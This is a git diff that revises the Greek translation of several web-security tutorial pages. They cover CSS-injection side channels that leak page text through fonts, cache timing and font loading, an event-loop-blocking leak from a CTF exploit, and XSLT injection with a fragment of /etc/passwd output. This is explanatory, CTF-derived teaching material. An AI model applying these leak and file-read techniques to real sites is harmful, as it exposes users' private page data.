### Εξαγωγή κόμβου κειμένου (III): διαρροή του charset με μια προεπιλεγμένη γραμματοσειρά κρύβοντας στοιχεία (χωρίς να απαιτούνται εξωτερικά στοιχεία) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
|
||||
**Αναφορά:** Αυτό αναφέρεται ως [μια αποτυχημένη λύση σε αυτή την αναφορά](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
|
||||
Αυτή η περίπτωση είναι πολύ παρόμοια με την προηγούμενη, ωστόσο, σε αυτή την περίπτωση ο στόχος του να κάνουμε συγκεκριμένα **χαρακτηριστικά μεγαλύτερα από άλλα είναι να κρύψουμε κάτι** όπως ένα κουμπί ώστε να μην πατηθεί από το bot ή μια εικόνα που δεν θα φορτωθεί. Έτσι, θα μπορούσαμε να μετρήσουμε την ενέργεια (ή την έλλειψη ενέργειας) και να γνωρίζουμε αν ένα συγκεκριμένο χαρακτηριστικό είναι παρόν μέσα στο κείμενο.
|
||||
|
||||
### Εξαγωγή κόμβου κειμένου (III): διαρροή του charset με χρονομέτρηση cache (χωρίς εξωτερικούς πόρους) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
### Εξαγωγή κόμβου κειμένου (III): διαρροή του charset με χρονομέτρηση cache (χωρίς να απαιτούνται εξωτερικά στοιχεία) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
|
||||
**Αναφορά:** Αυτό αναφέρεται ως [μια αποτυχημένη λύση σε αυτή την αναφορά](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
|
||||
@ -726,11 +726,11 @@ unicode-range: U+0041;
|
||||
```
|
||||
Αν υπάρχει αντιστοιχία, η **γραμματοσειρά θα φορτωθεί από το `/static/bootstrap.min.css?q=1`**. Αν και δεν θα φορτωθεί επιτυχώς, ο **περιηγητής θα πρέπει να την αποθηκεύσει στην κρυφή μνήμη**, και ακόμη και αν δεν υπάρχει κρυφή μνήμη, υπάρχει μηχανισμός **304 not modified**, οπότε η **απάντηση θα πρέπει να είναι ταχύτερη** από άλλα πράγματα.
|
||||
|
||||
Ωστόσο, αν η διαφορά χρόνου της αποθηκευμένης απάντησης από την μη αποθηκευμένη δεν είναι αρκετά μεγάλη, αυτό δεν θα είναι χρήσιμο. Για παράδειγμα, ο συγγραφέας ανέφερε: Ωστόσο, μετά από δοκιμές, διαπίστωσα ότι το πρώτο πρόβλημα είναι ότι η ταχύτητα δεν είναι πολύ διαφορετική, και το δεύτερο πρόβλημα είναι ότι το bot χρησιμοποιεί τη σημαία `disk-cache-size=1`, που είναι πραγματικά προσεγμένο.
|
||||
Ωστόσο, αν η διαφορά χρόνου της αποθηκευμένης απάντησης από την μη αποθηκευμένη δεν είναι αρκετά μεγάλη, αυτό δεν θα είναι χρήσιμο. Για παράδειγμα, ο συγγραφέας ανέφερε: Ωστόσο, μετά από δοκιμές, διαπίστωσα ότι το πρώτο πρόβλημα είναι ότι η ταχύτητα δεν διαφέρει πολύ, και το δεύτερο πρόβλημα είναι ότι το bot χρησιμοποιεί τη σημαία `disk-cache-size=1`, που είναι πραγματικά προσεγμένο.
|
||||
|
||||
### Εξαγωγή κόμβου κειμένου (III): διαρροή του charset με την χρονική φόρτωση εκατοντάδων τοπικών "γραμμάτων" (χωρίς να απαιτούν εξωτερικά στοιχεία) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
### Εξαγωγή κόμβου κειμένου (III): διαρροή του charset με χρονισμό φόρτωσης εκατοντάδων τοπικών "γραμμάτων" (χωρίς να απαιτούν εξωτερικά στοιχεία) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
|
||||
**Αναφορά:** Αυτό αναφέρεται ως [μια αποτυχημένη λύση σε αυτή την αναφορά](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
**Αναφορά:** Αυτό αναφέρεται ως [μια αποτυχημένη λύση σε αυτή τη γραφή](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
|
||||
Σε αυτή την περίπτωση μπορείτε να υποδείξετε **CSS για να φορτώσετε εκατοντάδες ψεύτικες γραμματοσειρές** από την ίδια προέλευση όταν συμβαίνει μια αντιστοιχία. Με αυτόν τον τρόπο μπορείτε να **μετρήσετε τον χρόνο** που απαιτείται και να ανακαλύψετε αν εμφανίζεται ή όχι ένα χαρακτήρας με κάτι σαν:
|
||||
```css
|
||||
@ -747,9 +747,9 @@ browser.get(url)
|
||||
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
|
||||
time.sleep(30)
|
||||
```
|
||||
Έτσι, αν η γραμματοσειρά δεν ταιριάζει, ο χρόνος απόκρισης κατά την επίσκεψη στο bot αναμένεται να είναι περίπου 30 δευτερόλεπτα. Ωστόσο, αν υπάρχει ταίριασμα γραμματοσειράς, θα σταλούν πολλαπλά αιτήματα για την ανάκτηση της γραμματοσειράς, προκαλώντας συνεχή δραστηριότητα στο δίκτυο. Ως αποτέλεσμα, θα χρειαστεί περισσότερος χρόνος για να ικανοποιηθεί η συνθήκη διακοπής και να ληφθεί η απόκριση. Επομένως, ο χρόνος απόκρισης μπορεί να χρησιμοποιηθεί ως δείκτης για να προσδιοριστεί αν υπάρχει ταίριασμα γραμματοσειράς.
|
||||
Έτσι, αν η γραμματοσειρά δεν ταιριάζει, ο χρόνος απόκρισης κατά την επίσκεψη στο bot αναμένεται να είναι περίπου 30 δευτερόλεπτα. Ωστόσο, αν υπάρχει ταύτιση γραμματοσειράς, θα σταλούν πολλαπλά αιτήματα για την ανάκτηση της γραμματοσειράς, προκαλώντας συνεχή δραστηριότητα στο δίκτυο. Ως αποτέλεσμα, θα χρειαστεί περισσότερος χρόνος για να ικανοποιηθεί η συνθήκη διακοπής και να ληφθεί η απόκριση. Επομένως, ο χρόνος απόκρισης μπορεί να χρησιμοποιηθεί ως δείκτης για να προσδιοριστεί αν υπάρχει ταύτιση γραμματοσειράς.
|
||||
|
||||
## Αναφορές
|
||||
## References
|
||||
|
||||
- [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)
|
||||
- [https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b](https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b)
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
In [**this exploit**](https://gist.github.com/aszx87410/155f8110e667bae3d10a36862870ba45), [**@aszx87410**](https://twitter.com/aszx87410) συνδυάζει την τεχνική **lazy image side channel** μέσω HTML injection με μια μορφή **event loop blocking technique** για να διαρρεύσει χαρακτήρες.
|
||||
|
||||
Αυτή είναι μια **διαφορετική εκμετάλλευση για το CTF chall** που έχει ήδη σχολιαστεί στην παρακάτω σελίδα. Ρίξτε μια ματιά για περισσότερες πληροφορίες σχετικά με την πρόκληση:
|
||||
Αυτή είναι μια **διαφορετική εκμετάλλευση για την πρόκληση CTF** που έχει ήδη σχολιαστεί στην παρακάτω σελίδα. Ρίξτε μια ματιά για περισσότερες πληροφορίες σχετικά με την πρόκληση:
|
||||
|
||||
{{#ref}}
|
||||
connection-pool-example.md
|
||||
|
@ -2,9 +2,9 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Βασικές Πληροφορίες
|
||||
|
||||
Το XSLT είναι μια τεχνολογία που χρησιμοποιείται για τη μετατροπή εγγράφων XML σε διάφορες μορφές. Υπάρχουν τρεις εκδόσεις: 1, 2 και 3, με την έκδοση 1 να είναι η πιο συχνά χρησιμοποιούμενη. Η διαδικασία μετατροπής μπορεί να εκτελείται είτε στον διακομιστή είτε μέσα στον περιηγητή.
|
||||
XSLT είναι μια τεχνολογία που χρησιμοποιείται για τη μετατροπή εγγράφων XML σε διάφορες μορφές. Υπάρχουν τρεις εκδόσεις: 1, 2 και 3, με την έκδοση 1 να είναι η πιο συχνά χρησιμοποιούμενη. Η διαδικασία μετατροπής μπορεί να εκτελείται είτε στον διακομιστή είτε μέσα στον περιηγητή.
|
||||
|
||||
Τα πλαίσια που χρησιμοποιούνται πιο συχνά περιλαμβάνουν:
|
||||
|
||||
@ -12,9 +12,9 @@
|
||||
- **Xalan** από το Apache,
|
||||
- **Saxon** από το Saxonica.
|
||||
|
||||
Για την εκμετάλλευση ευπαθειών που σχετίζονται με το XSLT, είναι απαραίτητο οι ετικέτες xsl να αποθηκεύονται στην πλευρά του διακομιστή, ακολουθούμενες από την πρόσβαση σε αυτό το περιεχόμενο. Ένα παράδειγμα μιας τέτοιας ευπάθειας τεκμηριώνεται στην παρακάτω πηγή: [https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/).
|
||||
Για την εκμετάλλευση ευπαθειών που σχετίζονται με το XSLT, είναι απαραίτητο οι xsl ετικέτες να αποθηκεύονται στην πλευρά του διακομιστή, ακολουθούμενες από την πρόσβαση σε αυτό το περιεχόμενο. Ένα παράδειγμα μιας τέτοιας ευπάθειας τεκμηριώνεται στην παρακάτω πηγή: [https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/).
|
||||
|
||||
## Example - Tutorial
|
||||
## Παράδειγμα - Εκπαιδευτικό
|
||||
```bash
|
||||
sudo apt-get install default-jdk
|
||||
sudo apt-get install libsaxonb-java libsaxon-java
|
||||
@ -77,7 +77,7 @@ Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
### Δακτυλοσκοπία
|
||||
### Δακτυλικό αποτύπωμα
|
||||
```xml:detection.xsl
|
||||
<?xml version="1.0" encoding="ISO-8859-1"?>
|
||||
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
|
||||
@ -152,7 +152,7 @@ lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
|
||||
- [https://www.w3.org/TR/xslt20/](https://www.w3.org/TR/xslt20/)
|
||||
- [https://www.w3.org/TR/xslt-30/](https://www.w3.org/TR/xslt-30/)
|
||||
|
||||
## Δακτυλικό αποτύπωμα
|
||||
## Αποτύπωμα
|
||||
|
||||
Ανεβάστε αυτό και πάρτε πληροφορίες
|
||||
```xml
|
||||
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
x
Reference in New Issue
Block a user